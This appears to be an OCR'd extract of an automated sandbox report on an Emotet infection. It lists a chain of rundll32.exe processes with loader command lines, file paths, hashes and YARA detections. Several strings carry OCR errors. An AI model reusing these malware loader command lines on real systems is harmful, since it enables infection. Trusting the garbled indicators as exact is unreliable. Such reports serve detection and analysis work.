7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE88F69DF

7FEE88F69DF

7FEE899BEC7
7FEE899BEC7

Source

Symbol

ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile

unknown

unknown

ReadFile
ReadFile

Count Address Symbol

Source

Count Address Symbol

Analysis Process: rundll32.exe PID: 2532 Parent PID: 2408

General

Start time: 18:10:43

Start date: 08/01/2021

Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false

Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Bgpeen6\Bbs5w_e\Yvtlx6p4.dll #1
Imagebase: 0xff710000

File size: 45568 bytes

MDS5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

Copyright null 2021
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File Read

Source

File Path Offset Length Completion Count Address Symbol

C:\Users\user\Bgpeen6\Bbs5w_e\Yvtlx6p4.dll unknown 64 success or wait 1 FF7127D0 ReadFile

C:\Users\user\Bgpeen6\Bbs5w_e\Yvtlx6p4.dll unknown 264 success or wait 1 FF71281C ReadFile

Analysis Process: rundll32.exe PID: 2340 Parent PID: 2532

General

Start time: 18:10:43

Start date: 08/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Bgpeen6\Bbs5w_e\Yvtix6p4.dll #1

Imagebase: 0x950000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2094781101.0000000000220000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

00000007.00000002.2094802545.0000000000291000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2336 Parent PID: 2340
General
Start time: 18:10:44
Start date: 08/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Lkvi\ejghpm.twa',RunDLL
Imagebase: 0x950000
File size: 44544 bytes
MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2096911565.00000000001A0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2096946723.00000000001C1000.00000020.00000001.sdmp,
Author: Joe Security
Reputation: moderate
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File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2816 Parent PID: 2336

General

Start time: 18:10:45

Start date: 08/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Y ffe\xmxs.xtt',RunDLL

Imagebase: 0x950000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2097726962.00000000001A0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

00000009.00000002.2097776820.00000000001C1000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2760 Parent PID: 2816

General

Start time: 18:10:45

Start date: 08/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Y xkqg\vxcyp.vst',RunDLL

Imagebase: 0x950000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2098974182.0000000000180000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000A.00000002.2099046063.0000000000201000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities
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Source

File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 2824 Parent PID: 2760

General

Start time: 18:10:46

Start date: 08/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Glgl\mritqo.dtl',RunDLL

Imagebase: 0x950000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2101214081.00000000006B1000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000B.00000002.2101161516.0000000000690000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2460 Parent PID: 2824

General

Start time: 18:10:47

Start date: 08/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\XIIl\midsk.ptl',RunDLL

Imagebase: 0x950000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2102146226.0000000000270000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000C.00000002.2102416514.0000000000711000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
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Source
Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 1492 Parent PID: 2460

General

Start time: 18:10:47

Start date: 08/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qpvq\ojxkj.pge’,RunDLL

Imagebase: 0x950000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2103138481.00000000001F1000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000D.00000002.2102968277.00000000001D0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2800 Parent PID: 1492

General

Start time: 18:10:48

Start date: 08/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qfbx\wpmmbwy.jek',RunDLL

Imagebase: 0x950000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2104372498.0000000000211000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000E.00000002.2104274004.0000000000150000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

Old File Path New File Path Completion Count Address Symbol
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Analysis Process: rundll32.exe PID: 3032 Parent PID: 2800

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

18:10:48

08/01/2021
C:\Windows\SysWOW64\rundll32.exe

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW&64\Ljbn\kwuw.ehe',RunDLL
0x950000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000F.00000002.2106781352.0000000000691000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000F.00000002.2106704317.0000000000670000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 3056 Parent PID: 3032
General
Start time: 18:10:49
Start date: 08/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ghjb\hjdxzl.ejj', RunDLL
0x950000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000010.00000002.2108288197.00000000001C1000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000010.00000002.2108254547.00000000001A0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 2244 Parent PID: 3056
General
Start time: 18:10:50
Start date: 08/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Doth\isebmn.lpx',RunDLL
0x950000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000011.00000002.2342697153.0000000000200000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000011.00000002.2342767319.00000000002D1000.00000020.00000001.sdmp,
Author: Joe Security

Disassembly

Code Analysis
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